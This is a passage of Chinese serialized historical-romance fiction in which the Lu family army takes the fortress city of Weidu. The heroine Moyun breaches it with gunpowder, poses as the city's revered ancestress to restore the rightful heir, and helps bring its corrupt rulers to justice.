而且每拿下一地，正啸都愈加清晰地意识到，这些峑戎之地，并非峑戎的主力。相反，这些地方的将领，大多曾经是长期以来在戈壁高原上的强盗和蛮部，为一己私利，借着峑戎的旗帜与军力，夺取了土地，然后高喊效忠峑戎，以成为峑戎的附庸为条件，占地为王，大战一旦打响，他们亦成了峑戎马前卒和牺牲品。
经过这一个多月的征战，全军修整之时，运粮队伍也将要如期抵达，当运粮队伍入营之时，众人见到若辰亲自跟思淼一同前来，带着粮草和军需物资。
他先是在元帅营帐见过了元帅，随即便去了正啸的营帐。
“您怎么来了？”执礼看到若辰进帐，忍不住问道，语气中隐约带着些许惊讶，显然众人并未预料到若辰会亲自前来。
若辰温润而笑，望向众人道：“莫非不欢迎？”
执礼挑了挑眉笑着回应道：“显然，少主定然更希望别人来。”
“出了些状况，她最近不会来了。”
正啸听到这句话，瞬间抬眼望向若辰，眉头不禁微微一蹙，眼中忽然闪过一丝不安。
若辰见状，立即笑了赶紧安抚道：“放心，茉云无事。若有事，定然是别人有事。”
执礼还是不禁露出一丝疑惑：“那到底出了什么状况？”
若辰则笑得更为淡然，平静地说道：“因为南扬的军粮迟迟未到，收粮进度受到了影响，茉云便亲自带人去一趟。我本担心她太过冲动，便让季岚陪着她一同前去。谁知，竟然真出了岔子。”
正啸依旧脸色凝重地注视着若辰，执礼则无奈地看了看若辰，说道：“您能不能不卖关子？”
“你们问思淼吧，他随着去了。”
若辰身旁的思淼轻轻笑了，眼中带着一丝调侃：“师兄，南扬是个烟花风流之地，那里正是薛老王爷的封地，薛老王爷嘛，是个典型的老顽童。他请茉云喝了顿大酒，两人一见如故。可是临走时，薛老王爷突然说，他和老卢帅是至交兄弟，怎么能让其无后呢？于是他硬要塞个女子，让茉云带回，给师兄您，做个小妾。”
听到这里，正啸微微一愣，其他人神情也由惊讶转为忍俊不禁地望向思淼。
思淼依然笑着接着说道，“茉云姐很是无奈，她说你直接送给卢正啸就行了，我去送也不合适啊！谁知道薛老王爷大手一挥，说，你这孩子不懂事啊，啸儿正是血气方刚之时，身边怎能没个人伺候着。你做下属的就得有眼力，后方补给，不就是人需要什么就给送什么！”
话音刚落，思淼学着茉云，装出她那一副忿然的神情和语气：“姐一听，恍然大悟的说，那这下完了，我不仅没给他送，还替他废了几个。难怪白瞎了我如此不受重用，在后方运粮！您这一说实乃醍醐灌醒啊，日后我也不敢去了！”
众人顿时忍不住哄堂大笑，气氛一下变得轻松愉快，正啸也微微眼中闪过一丝无语，眼神温和几许，但他的心思显然并不在与众人谈笑中。
此刻，他面前的行军图上，标记着西南重要城池围渡城的布局。这座城池地势险要，一旦拿下，关外南线和西南线方才彻底打通，不仅有利于军需补给，也能实现盟友间的联军，从而形成对峑戎的合围之势。
然而，此座城池背靠大山天堑，又被汹涌大河环绕，地形得天独厚，只有一前一后两座城门，守得严密，若是关上城门，打持久战，短期内恐怕难以攻克。
若辰站在一旁，看着正啸眉头紧锁，便知他心头的焦虑，轻轻地叹了口气，开口打破了沉默，说道：“你生辰将至，圣上下旨，派我带来赏赐之物，以贺你生辰。”
正啸旋即无奈的抬目望向若辰，按照朝廷礼节，行了跪礼，接过了圣旨和赏赐，起身微微蹙眉让千山收下，并没有再说什么，继续走到案旁看向行军图。
若辰则温润的笑了，轻声说道：“茉云说，人人都说皇上知人善任，若是知人，许诺你什么封侯拜爵，黄金万两？都不如跟你说，若打赢了仗，给你自由，让你想干嘛就干嘛！”
正啸微微一愣，目光从军图上移开，眼中瞬间浮现出一丝柔和，望向若辰，低声问道：“她最近在干什么？”
若辰看到正啸如此柔和的眼神，闪过一丝意外，旋即他轻轻笑了，说道：“你放心，连宋大人都说，她乖巧得很，最近居然有空跟季岚学画。”
正啸的眉毛微微扬起，眼中透出一丝疑惑。
执礼亦不可置信的笑着说道：“方茉云？学画？”
若辰笑了笑点点头，拿出两个长盒放在案几上，轻轻推给正啸。“这也是送你的生辰礼。”
正啸眼中闪过一丝无语，眼神都好像在说不必了。他素来不在意生辰，更不在意这等繁文缛节。
若辰则指着一个盒子说道：“放心，这不是值钱的古画。这是我画的，起初是因为季岚说你生辰将至，问茉云是否给你备份贺礼，以尽心意。所以季岚让我画一副画，再让茉云临摹，所以这幅是我画的。”
他缓缓打开了自己的画作，画的是正啸端坐在马上，威风凌凌，气宇轩昂，画作笔触刚劲有力，堪称传神。
执礼见状，忍不住欣赏着说道：“极为传神，不愧是关大人丹青妙笔。”
若辰笑着摇头，轻轻展开了茉云的画作：“茉云画得比我好。”
众人不禁都抬起头，看向那个画卷。茉云刚学画，她怎么可能临摹出这么精妙且繁复的画像，而且竟然画得比若辰还好？可是当若辰缓缓打开画卷时，就连正啸都愣住了。
那幅画上的大老鹰，站在山顶石上，炯炯有神，尽管画笔粗糙，线条有些生硬，但那只老鹰眼神极为严厉而冷峻，怒目圆瞪，目空一切的俯瞰众生。
正啸嘴角不由自主地扬起，低声笑了：“我未必是此模样？”
执礼带着一丝调侃立即回道：“此画更为传神。”
万莫也瞬间鸡啄米似的点头，显然赞同执礼的说法。顿时，营帐内爆发出一阵哄堂大笑，气氛瞬间轻松了许多。正啸也终于眼中透出了笑意，眉眼间稍许放松了几分。
夜深人静之时，正啸刚跟父帅和诸将讨论完攻城方略，回到营帐，战事的疲惫和思虑的重压交织在心头，他下意识地走到案前，轻轻打开茉云的画。
在烛光下，正啸凝视着那只画中老鹰，看向鹰眼中的愤怒与决绝，他忍不住笑了，眼神顷刻间柔和下来。若真是这般凶神恶煞，何以入人眼，她为何会喜欢？
而此刻远在中州的茉云正在宋大人院中，手捧西瓜大快朵颐，恰逢思淼回到了中州，听他语气便知正啸即将攻打围渡，战事十分艰难！
茉云的目光穿透夜空，仿佛看向那遥远的西南，心中不自
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觉地浮现出围渡城的模样。她昔日在西南部落之时，便去过围渡城，围渡在整个西南都有着特殊地位。
西南多部落，很多部落都只有既定疆域，但没有城墙，所以千百年来纷扰不断，但围渡城自古铁桶般坚固，不仅仅是因为那不可跨越的天堑河流和坚不可摧的城墙，还有背后那一代代英勇刚正的城主。
围渡城城主石家在西南亦是闻名遐迩，祖祖辈辈皆是豪迈仗义，刚正不阿的英雄人物，在西南威望极高，可惜上一代城主离奇去世，小儿子勾结峑戎国师，污蔑少城主弑父，自己篡得城主之位，围渡便效忠了峑戎。
她去过围渡便知，围渡城极度的易守难攻，攻破围渡城对正啸而言，必是生死未卜的一场鏖战。可她亦知道，这一战，定要打得痛快而彻底，才能震慑八方，让关外部落都愿追随之，共伐峑戎。
“任他如何，也就是一座城池。” 思淼的激愤之言，才让茉云缓过神来，思淼忿然指向西南的方向继续说道，“他们不过是困兽之斗而已，若轰城而入，他们难道还抵得住师兄大军呢？”
宋大人叹息了一声，沈军师则摸着胡须说道：“卓大人，您就是年轻，不研究朝局诏书，圣上在刚为太后发的贺寿表之中，屡次提到施天下之仁政，德以养太后之天年，上面说仁德，孝心，你下面就将一座千年古城踏破，至生灵涂炭，这能为太后添福添寿吗？而且天下如何看朝廷，圣上如何看卢家军？”
思淼旋即无语的说道：“那这战这么打，城不能破，人不能伤？”
茉云轻轻地咀嚼着西瓜，但她的眼神在月光下闪烁出一丝狠戾的光芒，嘴角微微上扬，露出一抹冷笑。
突然，周遭陷也入一阵沉默，众人似乎都感受到茉云身上的那股气息，充满了锋芒和狠绝。
片刻之后，茉云才发现四周安静了，抬眉看向所有人，发现他们的目光都集中在她身上，她笑了笑，轻描淡写地说道：“不在其位，不谋其政，你们也太喜欢瞎操心了。”
宋大人微微皱眉，眼中透出一丝狐疑：“你最近有何打算？”
“说来孝心，我师祖也快生辰了，我打算去南容一趟，为她贺寿，确实该尽尽孝心。你们谁随我一同去南容一游否？”茉云瞬间放下西瓜皮，满脸傻笑的望向宋大人。
宋大人这才松了口气，似乎放下了心中的一块大石。
茉云瞥了一眼宋大人，眼中带着狡黠的光芒：“说起来，囊中羞涩，宋大人，您仗义疏财一番，让我也为我师祖备点贺礼？”
“行，只要你不出去闯祸。”宋大人旋即无语的摇了摇头，无奈又带着一丝爱护的笑意。
茉云微微一笑，语气中透出一丝俏皮：“您放心，我这人质定然乖乖的。”
沈军师忍不住插嘴，故作严肃地说道：“你这丫头怎么说话的，谁将你当做人质，宋大人还不是答应了正啸要好好照顾你。”
茉云瞥了一眼明月，脸上露出一抹深沉的笑容：“我何时说了宋大人，不就是有人用我拿住了他吗？”
宋大人顿时慌忙左右张望，低声喝道：“茉云，不得胡说！”
茉云却深深吸了口气，目光又变得锋利，难道自己说错了吗？卢正啸待圣上着实一片赤诚，仍将他当做至亲姑父，可圣上呢？大战之前，故意将自己按在后方，还不就是想告诉他：我知道你想什么，你在意之人就捏在朝廷手里吗？
算了，自己暂时搁置这些，还有更重要之事……茉云仰头望向广阔的苍穹，心中却波涛翻涌。那狠戾的光再次在她眼中闪烁，不是不报时候未到……
276.爆发
夏日清晨，阳光逐渐穿透层层云雾洒向军营，带着一股骄阳愈烈的力量。
营中早已一片忙碌，士兵的踏步声铿锵有力，铁甲碰撞的声音此起彼伏，远处的马匹嘶鸣亦是高昂。每一名士兵脸上都写满了坚毅与决心，但攻城军令却迟迟未发。
正啸在元帅的营帐内，讨论着拿下围渡城的战略，其实全营诸将皆知正啸之难处。
此时沧海走进主营，面色坚定而沉稳，他站得笔直，恭敬地向元帅和正啸请命：“元帅，少帅，我想请军令状，带兵拿下围渡城。”
元帅和魏副帅都怔了半刻望向沧海，正啸抬头望向他微微蹙眉，围渡城之战，并非单纯一战，而是牵扯着更深层的战略与权力博弈。围渡成必须拿下，还不能重挫此城，这对任何将领来说都是极大的挑战。稍有差池，京城御史便可用铺天盖地的奏折将其淹没。
沉默片刻后，正啸终于开口，说道：“你先下去吧，容我和父帅先商议！”
“少帅！”沧海的声音低沉有力，他明白正啸之意，但显然他想坚持，“我愿承担一切，只要能助全军拿下围渡！”
正啸顿时眉头紧蹙，抬目冷静而果断地打断沧海的话：“出去。”
沧海愣了半刻，他的眼中闪过一丝不甘，但是正啸的命令在卢家军素来是一道不可逾越的界限，沧海马上低头沉默地退出了营帐。
营帐内的气氛一时凝固，卢帅望向正啸锁紧了双眉，带着一丝数落，这孩子跟他爷爷一样，太过严厉。
而魏副帅轻轻地叹了口气，不解与无奈的问道：“皇上是不是老糊涂了？军心鼎沸之时，居然发下这等仁心德政的圣旨……”
正啸没有回应，但他的目光依旧坚毅，围渡成必须要拿下，率军攻城之将，势必会背负无法言喻之压力，若要承担罪责，他也绝不会让自己麾下将军承担，自己一力承担便是，所以他主张，即刻出发，元帅却说让他考虑一夜。
而就在夜里，元帅居然下令全军，卢家军明晨开拔，向围渡进军。
正啸虽然有些意外，元帅并未跟自己再商量，但是元帅决定一鼓作气，那么自己亦再无迟疑，此令一出，便是开弓没有回头箭。
一路上，正啸骑马率队先行，每一位卢家军将士都在为即将到来的战斗做好准备，心中的那份紧迫感也在不断加剧。
然而，令正啸和众人意外的是，离围渡百丈之地，元帅忽然下令，整军待命，与围渡成形成遥望对峙之势，却按兵不动。
正啸不解，策马来到元帅马前，低声问道：“父帅？”
卢帅眼神中闪过一丝神秘，目光悠远望向围渡城，淡淡地回应：“作战讲究天时地利人和，天时未到，全军待命于此。”
正啸微微皱眉，他定然不能质疑帅令，但是不知为何心中的疑虑与不安在翻腾。他握紧了马鞭，只觉得心脏的跳动愈加猛烈，自己是怎么了？好似从未这般紧张过……仿佛这一刻的宁静，正是暴风雨前的平静。
夜幕渐渐降临，围渡城的轮廓在月色下更加显得巍峨而庄严。城墙上，身穿铠甲的敌军将士亦是严阵以待地站立着，紧盯着远处的卢家军，四周的气氛愈发压抑。
围渡城自古未破过，围渡军的威名亦如同这座坚不可摧的城池一样，城中主帅石霄亦随大军驻守在城关之上，不论他对城主他的二哥心中有多少愤慨，但是此刻他都会誓死捍卫围渡之民，压制任何的入侵者，城中的将士们站在他的身旁，亦众志成城，充满了自信，好似已将胜利掌握在手中。
然而，正当紧张的对峙持续到入夜之时，突然间，围渡城关内，忽然传来一声震耳欲聋的轰鸣，整个围渡城的地面似乎都在震动。紧随其后的，是一阵剧烈的火光与浓烟腾空而起，月色之下，烟雾弥漫，映照得夜空都变得迷蒙。
围渡城的将士瞬间错愕，急忙蹲下避难，慌乱的气氛瞬间蔓延开来。届时，城关一片混乱，四处弥漫着浓烈的硝烟味，耳边响彻着此起彼伏地爆破声，如雷鸣般不绝于耳。
每一次爆炸都好似撕裂了这片宁静的夜空，火光照亮了城头，映得那本无法被攻破的围渡城，忽然间显得格外脆弱。城内传来一阵阵的喊声与命令，士兵们纷纷急忙寻找掩护。声声爆炸震得众人心中沉甸甸的，士气与信心皆遭受到巨大的冲击。
而关外瞭望而去的元帅，神情依旧严肃，但眼中闪过一丝欣慰而自豪的光芒。
正啸此时却忽然转身急切地问道：“城中是方茉云？”
他的声音显得如此急促而低沉，眼中透出一丝仓皇失措，好似那火光与浓烟在此刻便要淹没他的理智一般。
元帅的眼神一顿，深吸一口气，低声道：“对，但茉云如此能耐，定然不会有事。”
元帅声音如此笃定，眼中透出的担忧却也未曾掩饰。诸将都吃惊地看向元帅，茉云又如此单枪匹马的深入了敌人的城池内？
正啸的眼中瞬间闪过一丝难以置信，他的心猛地一沉，目光依旧紧锁着前方的战场。眼前已然乱成一团的城关内，爆破声和硝烟带来了何等混乱，但都不及他心中如山崩地裂般地慌乱，心底的焦虑几乎要吞噬掉所有神智。
就在此时，元帅下令攻城，正啸毫不迟疑地策马率先冲向城门，身后跟着千军万马，气吞万里。当他们抵达之时，眼前的城门居然缓缓地打开，刺眼的火光从城门中透射出来，照亮了眼前的乱局。
让所有人怔了半刻的是……打开城门的竟然是疲惫不堪的思淼。他的衣衫凌乱，脸上写满了筋疲力尽，但当他看见正啸策马而来的身影时，脸上终于泛起了久违的笑容。
思淼欢喜地喊道：“师兄！”
他的声音带着狂喜，好似见到了救星。正啸却未来得及回应他，便率领一众将士长驱直入，不到半个时辰，围渡城的敌军几乎全军覆没。
夜深之时，城内渐渐陷入寂静，围渡城所有将士都被押解，但是没有一个百姓受伤，甚至没有踏破一扇百姓的门。
围渡军的主帅石霄望向卢家军最终亦松了口气，至少传闻非虚，全城百姓无恙，可是看着被沧海押解而来的他的二哥——城主石镗，他慌忙之际竟带着金银珠宝，准备弃城逃命，被沧海逮住压来，一脸仓皇狼狈的求饶。石霄气得咬牙闭上了眼睛，不想看他一眼。
可正啸却未曾松懈，命令士兵不得扰民，迅速清理战场。而令他心急如焚的是……茉云的身影依然不见。思淼告诉他，他们横渡了那条凶险的天堑之河，利用夜色埋伏了火药，炸开了城关，然后她就再也没见过她的踪迹。
正啸将指挥权交给了震北，自己带着沧海和威行众人，开始在全城搜寻茉云的踪迹。沧海望向此刻的正啸，他眼中已经全然没有了平日里那份镇定自若，而是难以掩饰的焦虑与急切，心底的惶恐如潮水般汹涌而来。
他驰马而过街道，眼神如利剑般扫视着每一个角落，他焦虑地寻找着她的身影，可这一刻她甚至不能大声呼喊她的名字，因为他不能让众人知道，自己在此刻发了疯的找她。
月光如水，洒在青石街道上，风吹动着树影，犹如幽灵般游走。突然间，正啸猛地拉住缰绳，马匹停下，他目光急切地投向街道左侧的阁楼上。
银辉映照下，那抹熟悉的身影站立在高处，瘦削却笔挺，好
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似与这片夜色融为一体，如此孤傲而坚毅。
茉云望见了正啸，亦笑了，她轻轻俯身，望着街下那位正端坐在马上的男人，调侃道：“来人是哪位将军啊？如此英伟不凡？”
正啸听到她的声音，眼神一凝心头一震，他朝她迅速伸出了手。茉云笑着毫不犹豫地飞身而下，被正啸一把接过抱到身前。
直到此刻，她被牢牢地抱在怀里，正啸的内心才稍微平静下来。然而，随之而来的却是一阵心疼，夏日炎炎，她的身体竟如此冰冷，她的每一寸肌肤似乎都散发着寒意，像是经历了冬日之寒雪。
正啸忍不住低下头，深深亲吻了一下茉云的额头，茉云亦未躲闪，靠在他的怀中，眼皮逐渐沉重，身心已经疲惫得无法抵挡，渐渐地闭上了眼睛，沉沉地睡了过去，正啸深吸一口气，只能将她抱得更紧了些……
待茉云再缓缓睁开眼睛之时，她躺在一张宽大舒适的床上，温暖的被褥让她几乎不想起身。她抬目看向周遭，这儿是哪……应该是城中某个客栈吧。
她支撑着坐起身，翻身下床，自己还要事要干。可是，就在这时，门突然被推开，一个魁梧威猛的身影出现在门口，那气息她再熟悉不过。
茉云不由自主地抬起头，目光与正啸相对。此时，东方刚破晓，柔和的晨光洒在他的脸上，却映照出正啸的神情中蕴含着无法掩饰的愤怒。这种愤怒带着浓烈的压迫感，让茉云都不自觉地后退了一步……
正啸盯着茉云，声音低沉而充满怒意：“昔日我离开中州之时，跟你说了什么？你怎么应的？”
茉云无言以对，但显然不满于正啸如此态度，嘴唇微微撇了撇：“你让我不要虚生浪死啊！”
正啸的眉头紧蹙，愤怒的情绪刹那间爆发，吼道，“我让你留着自己小命！”
“我小命没了吗？”茉云眼中闪过一丝桀骜与不屈，抬头亦瞪着正啸吼道，眼神好似在说我方茉云又不是你傀儡，对我颐气指使地吼什么！
正啸的怒火如同烈焰点燃，呼吸变得急促而不均。他没再说话，只是一步便将茉云逼到墙角。她还来不及反应过来，他就以一种愤怒而不可抗拒的力量，一把将她按住，低下头，吻住了她。
他的吻带着强烈的失控和占有欲，却又带着深深焦虑甚至是恐惧，好似怕她下一刻便从身边消失一般。力道重得好似要宣泄他的全部渴望，肆无忌惮却又深情入髓，吻得让茉云周身血液都顶到了头顶，只能放弃挣扎，怔怔的闭上了眼睛。
而渐渐……他的拥抱越来越紧，吻却变得温柔，让茉云也本能抱住了他。唇间摩挲，情意交融，终于淹没了所有的怒意和桀骜，只剩下热烈而温柔的悸动，让彼此的心弦疯狂颤动。
不知多久之后，茉云才被松开，呼吸都还未缓过来，抬目望向他之时，发现他眼中涌动着炽热，但眼底却还留有一丝惊魂未定，他素来眼神凌冽无畏，只有每次赶来救自己之时，自己才能在从他眼中，见到这般惊慌失措的神情。
茉云此时的眼神终于柔和了下来，轻轻说道：“围渡石家当年对我有恩，你先放开我，我还有事要干。”
正啸却没有松开，反而瞬间又将她涌入怀中，抱得更紧了些。
“诶”茉云无语的轻轻抱怨道，可她顷刻间感受到，正啸陡然运功，以内力为自己驱寒，顿时茉云便感受到一股暖流卷席全身。
直到茉云冰凉的手脚，渐渐有了温度，正啸才松开了她。茉云没有半分迟疑飞身离去，可是走出房门之时，茉云些许慢走了几步，不知为何只觉甜蜜还在心头翻涌……可是抬目望见天亦快大亮了，她马上又毅然离去。
277.随她
清晨的围渡城，柔和的晨光洒在青砖瓦房上，照亮了尚未完全苏醒的城镇。
昨夜的硝烟与破碎，似乎还未完全褪去，街道两旁的民众小心翼翼地走出家门，目光中带着几分惶恐与探试，不知道等待他们的又将是什么命运……然而走出家门，却发现暖阳高照，街道畅通，围渡城好似一如既往的井然有序。
街坊民众慢慢地聚集在了城门口，彼此交换着消息，目光所及围渡城的城门已尽毁，可是城中又并未被铁骑踏破，卢家军在城外驻扎了军营，只有一小部分驻扎了城关门口，军旗在暖阳下猎猎生风。
正啸带领着将士在城内巡视了一周，并非骑马驰骋，反而是放慢了速度，让马匹稳稳地走过了仍在苏醒的城镇，缓缓进入了驻扎的营地。城民无不抬头仰望而来，晨曦照在少帅的铠甲上，金属的光芒在阳光下闪烁，映照得他愈发威猛而冷峻。
他刚入营中，沧海将军便命人带来的城主和主帅，那城主石镗带着哭腔一路求饶，见到正啸便一边痛哭，一边声嘶力竭地喊着自己是被峑戎威胁才不得不屈服，他愿意交出所有的金银财宝，还将献出城中所有美女，只求饶他一命。
围渡城的百姓亦听见了他的嚎叫，目光中充满了绝望与愤怒，他们早已看清了这位城主的卑劣与无耻。而见他哥如此无状，本一脸坚定的围渡军主帅石霄，顿时面色惨白，神情痛苦，咬牙瞪向他哥，眼中尽是对他的鄙夷。
正啸则瞧都没有瞧城主一眼，目光投向了围渡城主帅石霄，缓缓开口：“你们的城关虽已尽毁，但围渡城军血性尚存，伤亡亦不惨重。你们是否有能力修复围渡城，保护城中百姓，还是需要我军的帮助？”
石霄愣了半刻，望着正啸，犹如一位顶天立地的男儿面对久违的英雄，被他那气吞万里，威武不屈的气势所震撼。
这时，身旁的执礼温和一笑，看向石霄，语气带着几分温和的鼓励：“石霄将军乃西南赫赫有名的英雄之辈，必然不希望围渡世世代代屈服于峑戎恶贼？若是你愿带领百姓恢复围渡城的昔日辉煌，必将是围渡全城百姓的福祉。”
石霄深吸一口气，一脸怅然说道：“可我不是城主！”
正啸不禁微微皱眉望向石霄，围渡城这座曾经闻名于世的城池，需要一个神智清明的城主带领他们……
可就在此时，围渡城的百姓忽然喧哗了起来，有人突然指着城关顶上惊呼：“石娘娘显灵了！”
听到这句话，正啸和军中众人不禁也随着民众，望向了城关的方向。
民众口中的石娘娘——是在围渡城祠堂里供着的围渡先祖，是围渡城建城之主石家的大夫人，当年就是石家家主和夫人携手建起了此城，给愿意在此安身立命的众人一个安居之所，石夫人睿智贤德，仁慈爱民，围渡城中人都亲切的称她石娘娘，她是围渡万民心中的信仰。
石娘娘此刻似乎从云雾中逐渐显现出来，她的身影立于城关之巅，周身透出一种深沉的威仪，如同山川般坚定，冷峻而不容冒犯。
百姓顷刻间纷纷跪下，抬目望去，石娘娘穿着她最喜爱的衣袍，身后披风随风飘扬，像是披上了凌云的力量。她站立之处便好似与天空接壤，她俯瞰的这一眼好似就能抚平这座城曾经的动荡与崩溃，仿佛这片大地都因她的来临而归于平静。
民众心中充满了敬畏，拼命的磕头跪拜。而石娘娘站在城关之上，缓缓抬手，忽然一声高亢而响亮的歌声唱响，这是他们围渡城家喻户晓的山歌，围渡城半城被山围，很多城民亦傍山而居，所以城民都喜欢唱山歌。
随着歌声回荡在整个空旷城头，百姓们一边跪下磕头，一边忍不住泪如泉涌，这首歌唱的就是围渡城内美好和安宁，不仅是歌颂围渡城的辉煌历史，也是现在城中百姓心中的呐喊。围渡城的人民好似在这首歌中找到了久违的力量和尊严……
而卢家军中人都愣了半刻，他们皆是沙场征战的将士，又岂会被轻易蛊惑，将军们都望向正啸，而正啸居然没有下任何命令，反而抬头望向城关之上，目不转睛，只有眼底微微透出一丝无语的笑意……
歌声停歇之时，迷雾渐渐散开，突然，一位少年英气勃发地走进了城关，他的步伐稳健，眼中充满了刚毅与决心，紧随其后，是一位神情恭敬的年迈老者。
众人纷纷朝着城关方向望去，城关之上石娘娘消失在空中……但是所有围渡城的民众顿时认出来，这位老者就是十年前已经去世的石家老管家……他是如何在此时复生的？还带着一个少年，这个少年是谁？
那老者走上前来，眼中闪烁着无法浇灭的怒火，冲着石镗一指，怒吼道：“就是他，石家二子！谋害了老城主，还嫁祸给少城主，篡夺了城主之位！”
老管家的声音里带着无法掩饰的愤怒与痛惜，他背负了家主和少主数十年的仇恨和冤屈，他紧握的双拳几乎把指甲深深嵌入掌心，悲愤的情绪无法抑制……
围渡城的百姓见状，不约而同瞪向石镗，顿时漫天的憎恨齐齐向石镗袭来，他不但谋害了英明的老城主和少主，还至围渡城乌烟瘴气，招致今日之祸，在这一刻，民众之怨恨再已无法隐忍。
石霄亦猛地站起，眼神如利刃般刺向石镗，这股愤怒足以撕裂他。居然是这个畜生弑杀了爹，还谋害了自己最敬重的长兄。
石镗的双腿已经开始不自觉地颤抖，他试图起身，但却因内心的恐慌而无法站稳，他也试图狡辩，却发现自己的声音在这股愤怒讨伐声中已经变得无力。最终不堪重负地瘫倒在地，双手紧紧地抓住地面，额头上不断冒出冷汗。
此时，正啸在一旁，默默抬手，示意诸将让开，这场围渡城的恩怨应该由他们自己来解决，不必再插手。
就在这一刻，那少年几乎飞奔而来，到了石霄的面前，停下脚步喊道：“三叔！”
这声呼唤带着几分急切与渴望，仿佛是压抑多年的痛苦，终于在见到自己唯一血脉亲人之时得到了释放。
石霄愣住了，眼中的惊讶显而易见，呼吸猛地一滞，随即看清眼前的少年……
“三叔！是我！”石腾勒起了衣袖，显示出了他们石家人独有的印记说道。
“腾儿？”他低声喃喃道，声音中有着强烈的惊诧与感情的波动，随即，他猛地扑向少年，紧紧握住他的肩膀，眼中的泪水几乎无法遏制，“你还活着！腾儿，你还活着！”
围渡城的百姓们站在一旁，见此情景，顿时亦群情激动，石腾还活着！这是他们曾经那个英明少主的嫡子，亦是他们老城主最喜爱的孙儿，老城主曾经日日牵着他在城中，边走边交代他说日后一定要好好待围渡城中百姓，可他却在那场浩劫中，凭空消失了。如今，石娘娘将他带回来了……
正啸看着这一幕，目光不自觉地放远，心底似乎有一些波动，但他并未言语。他知道，这是茉云会干出的事，不论五年，十年还是多久，只因初心，可迎万难，她定然会穷其一生，将要干之事干了。
忽然有城民激动得喊道：“快去禀报先祖，小少城主回来了！”
民众纷纷转头往祠堂狂奔而去，见到祠堂之中，石娘娘之像，还是穿着那套她最爱之衣立在那儿，一脸慈祥的笑容的望向众人。
民众情不自禁的的哭着叩拜着，讲述着少城主的嫡子终于回来了，控诉着这些年围渡城的不易，感恩石娘娘的恩德护佑……
而茉云此时则躲在祠堂后面，心想这些民众怎得跑得如此快，幸好自己还是一路轻功赶了过来，将衣服还了回来，
直到石腾来为祖宗上香了，民众才恭敬的退了出去，石家亦邀请了卢家军前来，邀请贵客来参观围渡城的祠堂是他们的礼节，这里记录了围渡城的历史和祖辈建城之初心。
卢帅定然欣然应允，他说卢家军如此惊扰了围渡城，是该来上香以示卢家军的敬畏与歉意，便派了正啸带着沧海、执礼等人前来。
他们随着石家人，走入了祠堂后，庄重的上完香，此时正啸不自觉的若有所思的望向祠堂后。
而谁知此时石腾却忽然大声喊道：“茉云姨，你是不是还躲在祠堂啊？”
此时茉云无语的从祠堂后，爬了出来，拍拍身上的灰说道：“我刚将石娘娘衣服还回来穿好，民众就来了，把我堵在了里面没出去。”
石霄缓过神来，顿时怒不可斥的指着茉云吼道：“方……方茉云？你好大的胆子，你居然敢冒充石家先祖。”
茉云旋即抬目，也没有好口气的瞪向了石霄吼道：“是的，我比你更对不起石家先祖！”
石霄望向她，顿时一时语结，深吸一口气，
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不再言语，他是有愧于石家列祖列宗，万死难辞其咎。
正啸亦无奈的望向茉云，沧海和执礼看向他两，眼中却透出一丝无语，他们都知道正啸素来最痛恨装神弄鬼愚弄民众之人，但是他刚刚却一点反应没有，他定然是一眼就认出了茉云。
茉云则好似压根没看见他们似的，旋即看向石腾问道：“已经收拾了当年那群恶贼没有？”
石腾顿时眼中亦透出刚烈之气，说道：“现在已经押解了石镗和他的一众随从走狗，但是那些城中的恶人还未清算，我……当日才五岁，何以记得那么清。”
“杀你亲父，将你逼至天堑逼你跳河之人，你居然忘了，我可一个都忘不了，跟我来！”茉云瞬间眼神闪过一丝狠戾，气势汹汹地戴上面罩边走边说。
直到经过正啸之时，茉云轻轻一顿，最终还是停住了脚步，转头望向正啸，语气温和了些许，说道：“那个……我还有事，晚点回去！”
正啸看向她微微叹了口气，抬手解开了自己的披风，丢给了茉云，茉云正觉得寒意未散，开心的接过披风便系上，然后头也不回的走了，石腾却转头看了正啸一眼，此人定然是与茉云姨极为相熟。
“您就这般让她去……”执礼有些担忧的望向正啸，要知道如今茉云是卢家军人，怎可随意插手围渡城他国之事。
“随她。”正啸转身之时，看见执礼那诧异的神情，没好气的说：“你若能拦，去拦！”
执礼顿时无语的望向正啸，沧海倒是被逗笑了，正啸转身看了沧海一眼，沧海旋即心领神会地点了一下头，马上回营中去带了一队人换上便衣，带着面罩跟在茉云身旁。
茉云一手持剑，一手威风凌凌的抬手，带人闯入几位如今已经是围渡城权贵的家中。将家主押解而出之时，众人只能透过面罩见到她无情而锐利的目光，
而这些所谓权贵被推搡着走出时，围渡城的百姓们一拥而上，一边跟着走一边大声咒骂，民众积压了太久的痛苦，在这一刻终于全部宣泄而出。
曾几何时，这些恶人忽然变得高高在上，压迫他们，毫无怜悯地剥夺他们的钱财和尊严。如今这些为所欲为，肆无忌惮之人，今日报应终于来了，迎接他们的是整个围渡城的愤怒，
茉云步伐从容不迫的跟在队后，眼中没有一丝怜悯，只有为曾经的恩人找回公道的坚定，石腾看着都深深叹息了一声。
“我不知道你作何想，可我对他们没有半分怜悯，因为曾几何时，谁又能在他们的眼里看到一丝怜悯？”茉云的声音如此有威慑力，让石腾亦坚定地点点头，而茉云眼睛继续扫向这些恶人，似乎每一眼都能看穿这些肆无忌惮的灵魂，回忆着是否还有漏网之鱼。
就在这时，民众的愤怒也愈发沸腾，暴动的气氛弥漫开来。有人用力挥舞着拳头，甚至冲上前去，想要给这些曾经的权贵们最后一击。
茉云冷静地摆手，示意士兵们维持秩序。她深吸一口气，如今的自己亦不是少时，暴力是解气，但是他们便是死都偿还不了他们今生的罪孽。
这些恶人该受到的惩罚，应该让他们曾做过的罪行也永远被铭记，被唾弃。
茉云轻轻走入了大牢，走到了石镗的牢前，曾经坐拥权力的他，眼中充满了恐惧和不甘，他还在叫嚣，喊着冤枉，说他们勾结卢家军造反弑主。毕竟他昨日的此刻，定然都从未想到过自己今日便会沦为这般境地。
直到茉云慢慢揭开了面罩，冷冷的望向石镗，石镗看清她的容颜那一刻，错愕得浑身颤抖：“是你！”
“二少主，又见面了！”茉云冷冷的笑了，眼中透出了最狠戾的眼神低头望向他，这个曾经站在权力顶端能掌控一切的人，现在命运却握在当年那个，他踩在脚下的小蝼蚁手里。
“你，你……”石镗吓得脸色苍白，全身都在颤抖，他当然认出了茉云，在这个曾经见证了他一切罪行的人面前，自己还有何可辨驳，“不，不要杀我！”
茉云冷冷的转身了:“杀你？我当真此刻不想杀你了！”
因为他此刻不该死，他该站在围渡城中央，站在所有人的怒火和指责中，接受自己成为了围渡城历史上最恶毒的象征。让人们意识到围渡城的原本是如此美好，围渡城建城之初的博爱与自由是如何可贵……
278.诉
